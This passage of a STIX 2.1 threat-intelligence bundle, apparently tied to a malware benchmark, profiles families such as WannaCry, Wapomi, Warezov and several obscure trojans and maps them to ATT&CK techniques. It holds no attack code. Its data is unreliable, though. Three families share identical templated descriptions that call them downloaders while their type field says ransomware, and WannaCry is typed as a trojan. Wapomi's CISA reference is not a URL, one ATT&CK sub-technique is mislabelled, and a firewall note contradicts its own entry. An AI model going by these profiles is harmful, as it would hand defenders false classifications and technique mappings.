      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1a25c68-5396-5217-b5c3-8b4506627f2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Waldek exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d8b169d-ebcb-570c-906e-70b5755710b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Waldek exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62883f8e-cec7-5117-9392-56d50d4eda8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Waldek exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07f01e09-0f09-5ab2-b29d-d0c588ad5b7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Waldek exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17e29cff-7c2e-5509-9f22-4f5beb8e1f00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f01b70-e7c5-5b99-a588-25351a2274c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Waldek exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1c6dc55-4d98-520d-9bfc-1bc8f98f668d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Walerlop",
      "description": "<h3>Executive Summary</h3>\nWalerlop is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWalerlop is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Walerlop operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Walerlop ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Walerlop receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Walerlop infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Walerlop executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Walerlop frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Walerlop",
        "Downloader.Walerlop",
        "Win32/Walerlop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Walerlop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/walerlop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6adde81c-77e1-58e1-aaf9-e60c78baa730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c6dc55-4d98-520d-9bfc-1bc8f98f668d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Walerlop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cda56bb-5178-52c7-8d6f-72b89eaff818",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c6dc55-4d98-520d-9bfc-1bc8f98f668d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Walerlop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fd912cb-a077-5ba0-af8a-55ca32a79ac7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c6dc55-4d98-520d-9bfc-1bc8f98f668d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Walerlop exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wannacry",
      "description": "WannaCry (cataloged across security vendors and intelligence agencies as WanaCrypt0r, WCry, WannaCrypt, and Ransom.WannaCry) is an unprecedented global ransomware worm that broke out on May 12, 2017, infecting hundreds of thousands of computers across more than 150 countries within hours. Attributed by the US Department of Justice and international intelligence agencies to North Korea's Lazarus Group, WannaCry weaponized the EternalBlue SMBv1 remote code execution exploit (CVE-2017-0144) and DoublePulsar backdoor toolkit\u2014originally leaked from the Equation Group. Once executed on a single network endpoint, WannaCry self-propagated autonomously across internal subnets and the public internet by probing TCP port 445 for vulnerable SMB services. On infected machines, WannaCry encrypted user files using AES-128 and RSA-2048 encryption, appending the .WNCRY extension, dropping ransom notes (WanaDecryptor), and demanding $300 to $600 in Bitcoin. The epidemic was famously curtailed when security researcher Marcus Hutchins discovered and registered an unregistered killswitch domain hardcoded into the binary. (Observed samples in benchmark: 4,876)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "WannaCry",
        "WanaCrypt0r",
        "WCry",
        "WannaCrypt",
        "WanaCrypt0r 2.0",
        "Ransom.WannaCry"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wannacry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wannacry"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/alerts/2017/05/12/multiple-ransomware-infections-reported"
        }
      ],
      "labels": [
        "ransomware_worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63b1cea2-9d16-57e6-9b4c-ca43c2664b64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wannacry exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d067c15-0323-5f47-89bf-de6736c7172d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wannacry exhibits technique T1210 (Exploitation of Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01bd8e35-6d70-5965-a335-99e79f8c0de4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wannacry exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d2f311e-3c62-5a4d-8f11-39e57ad8c0bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wannacry exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4917328-9ab2-589d-b4c1-c82abecd2b78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fcb258b-36a0-545c-8201-0d24036631c5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wannacry exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f80a5514-54c4-5a8b-9476-ec41f5da095a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wansrog",
      "description": "<h3>Executive Summary</h3>\nWansrog is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWansrog is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Wansrog operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Wansrog ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Wansrog receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Wansrog infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Wansrog executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Wansrog frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Wansrog",
        "Downloader.Wansrog",
        "Win32/Wansrog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wansrog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wansrog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--740608cc-f618-5e60-ae96-1563b1a5a65f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80a5514-54c4-5a8b-9476-ec41f5da095a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wansrog exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30c2b1b4-50a9-5465-956a-451007f0315c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80a5514-54c4-5a8b-9476-ec41f5da095a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wansrog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff0d1fb6-3c7a-538c-802b-4ea6d3df4762",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80a5514-54c4-5a8b-9476-ec41f5da095a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wansrog exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wapomi",
      "description": "Wapomi (widely documented by antivirus laboratories as Virus.Wapomi or Otwycal) is a parasitic polymorphic PE file infector and worm that first surfaced in 2010. Engineered with advanced polymorphic encryption and opcode substitution engines, Wapomi scans local hard drives, removable USB storage media, and mapped enterprise network shares, prepending or appending its viral code to legitimate 32-bit Portable Executable (.exe) files.\n\nUpon execution of an infected host binary, Wapomi's decryptor stub extracts the original executable into memory to ensure uninterrupted user operation while covertly injecting malicious payloads into system processes (such as explorer.exe). The worm acts as a dual-threat mechanism: in addition to self-propagating across network volumes, it establishes an outbound backdoor connection to compromised web servers, downloading secondary cybercrime payloads including banking trojans, infostealers, and click-fraud utilities. To preserve network connectivity, Wapomi automatically adds itself to the Windows Firewall authorized applications list. (Observed samples in benchmark: 5,191)",
      "is_family": true,
      "malware_types": [
        "worm",
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Wapomi",
        "Virus.Wapomi",
        "W32.Wapomi",
        "PE_WAPOMI",
        "Otwycal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wapomi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wapomi"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "worm_banker",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ec8e096-6d13-5e9b-94e6-b5fd90668c12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wapomi exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--af394360-f938-5026-8e6b-bb3f83c4d42d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1055.009: Process Injection: PE Injection",
      "description": "MITRE ATT&CK Technique T1055.009 (Process Injection: PE Injection) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1055.009",
          "url": "https://attack.mitre.org/techniques/T1055/009/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bb076f6-eb37-5ef8-b494-75f58a60e572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "target_ref": "attack-pattern--af394360-f938-5026-8e6b-bb3f83c4d42d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wapomi exhibits technique T1055.009 (Process Injection: PE Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0aa425b-339f-5567-bd0f-60f271fd1aa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wapomi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb87e030-eca0-598e-9d5d-4628d5cdb109",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "target_ref": "attack-pattern--396f7941-9fec-5f68-b4e7-7a48c32464f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wapomi exhibits technique T1027.001 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d5224be-c553-5af5-98fe-38abca2b04b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc4af492-1199-5f89-ab1c-96a682f89e6c",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wapomi exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Warezov",
      "description": "Warezov (also widely tracked in security industry literature as Stration, Email-Worm.Win32.Warezov, and Worm:Win32/Warezov) is a landmark mass-mailing email worm and botnet that executed high-velocity, global infection waves between 2006 and 2007. Distinguished by its prolific and unprecedented rate of mutation, the authors of Warezov deployed automated compilation pipelines generating hundreds of polymorphic variants each day to defeat static antivirus signature distributions. Warezov propagates by harvesting email addresses from local Windows files (such as .txt, .html, .eml, and .wab address books) and utilizing an internal SMTP engine to blast high volumes of spoofed email messages containing malicious attachments disguised as security updates, error logs, or greeting cards. Once installed, Warezov modifies registry autostart keys under CurrentVersion\\Run, downloads encrypted configuration files and secondary trojan modules over HTTP, and attempts to enlist the host into a spam-distribution and distributed denial-of-service (DDoS) botnet while actively terminating antivirus monitoring processes. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Warezov",
        "Email-Worm.Win32.Warezov",
        "W32/Warezov",
        "Stration",
        "Worm.Win32.Stration"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Warezov",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/warezov"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01e8bf2b-6a7a-5b0c-92df-33ae50faa7ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Warezov exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38bdf6fc-9c86-5c7b-897d-674d6675adf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Warezov exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--226c8d62-d4db-56ed-9f77-f3791800a726",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Warezov exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fd279b0-e97d-58ff-8875-a6cd18caff3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Warezov exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87f51db9-f06e-55f2-9bbb-962b935fbb28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b5fb6c4-8435-5232-8853-4e394a3c1ef2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Warezov exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b75ae32a-f8d5-54b1-bd4f-5f1cd46a8a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wavipeg",
      "description": "<h3>Executive Summary</h3>\nWavipeg is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWavipeg is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Wavipeg operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Wavipeg ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Wavipeg receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Wavipeg infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Wavipeg executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Wavipeg frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Wavipeg",
        "Downloader.Wavipeg",
        "Win32/Wavipeg"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wavipeg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wavipeg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f9fd732-8b58-5abf-b881-cbcff8c98955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b75ae32a-f8d5-54b1-bd4f-5f1cd46a8a92",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wavipeg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
